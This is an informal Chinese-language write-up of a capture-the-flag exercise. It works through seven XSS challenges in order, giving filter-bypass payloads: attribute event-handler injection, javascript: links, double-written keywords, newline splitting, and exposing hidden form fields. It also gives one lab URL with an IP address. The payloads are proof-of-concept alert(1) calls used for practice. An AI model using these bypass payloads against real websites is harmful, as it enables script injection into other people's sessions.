御林 DAY忘了 XSS 10
XSS过滤绕过速查表_xss速查表-CSDN博客
XSS-1
第一步查看链接,题目
查看网页源码有hidden的东西
参数不要在链接后面拼接/?a=,用?a=
?name=<script>alert(1)</script>
XSS2
错误判断
页面源代码会被编码从而无法解析
尖括号被编码可以试试属性xss
查看页面源代码发现是单引号闭合
但是F12查看元素是双引号
<input name=keyword value=''>
没有对value属性过滤,因此虽然过滤了尖括号但是可以用属性标签xss
输入' onfocus=alert(1) onerror='
拼接后变成
<input name=keyword value='' onfocus=alert(1) onerror=''>
得到flag
XSS3
第二题单引号换双引号
XSS4
首先确定双引号过滤
会对标签进行过滤
试试编码绕过
试试直接ASCII编码
不行,因为要解析onfocus事件才行但是on被过滤了
是这样
" onfocus=alert(1) onerror="
" onfocus=alert(1) onerror="
" afterprint=alert(1) onerror="afterprint
" blur=alert(1) onerror="blur
script也过滤了但是好像只过滤一个
应该是过滤标签
不管几个标签都过滤
" onfocus=alert(1) onerror="
"href="javascript:onclick=alert(1)" onerror="
"href="javascript:alert(1)" onerror="
XSS(跨站脚本)如何绕过? - FreeBuf网络安全行业门户
"><a href=javascript:alert(1)>alert</a><a href"
后面的部分是为了让标签看起来好看点(啊?
XSS5
href,script会被删除,试试双写
"><a hrhrefef=javascscriptript:alert(1)>alert</a><a"
XSS6
过滤了script
双引号也没了 onfocus也没了
构建payload:javascr%0aipt:alert(1);(在url中输入,或者抓包修改也可)这里用%0a或者%0D达到换行的效果,以此来绕过;
http://43.142.109.233:55555/xss6.php?keyword=javascr%0aipt:alert(1);&submit=添加友情链接
XSS7
首先和上一题一样传递keyword参数
双引号过滤
<script>alert(/xss/)</script>
%3Cscript%3Ealert(/xss/)%3C/script%3E
构造标签没有尖括号肯定不行但这一行没有属性所以再看一眼源代码
把三个hidden框显示出来,把type="hiedden"的hidden删掉
xss-labs通关攻略教程(level1~level 10)_xsslabs-CSDN博客
xss-labs level 11-20 攻略-CSDN博客
找到一个很类似(一模一样)的题目,level-10,开抄
?keyword=t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text
这个简单点双引号没有被过滤
?keyword=<script>alert(1)</script>&t_sort="%20type="text"%20οnclick="alert(1)
双引号不要也行,比如下面的构造是构造了新的属性和后面的双引号匹配,浏览器比较现代
?keyword=<script>alert(1)</script>&t_sort="%20type="button"%20οnfocus=alert(1) onerror="
没反应
?keyword=<script>alert(1)</script>&t_sort="%20type="button"%20onmouseover
=alert(1) onerror="
换个触发事件过了
补充知识: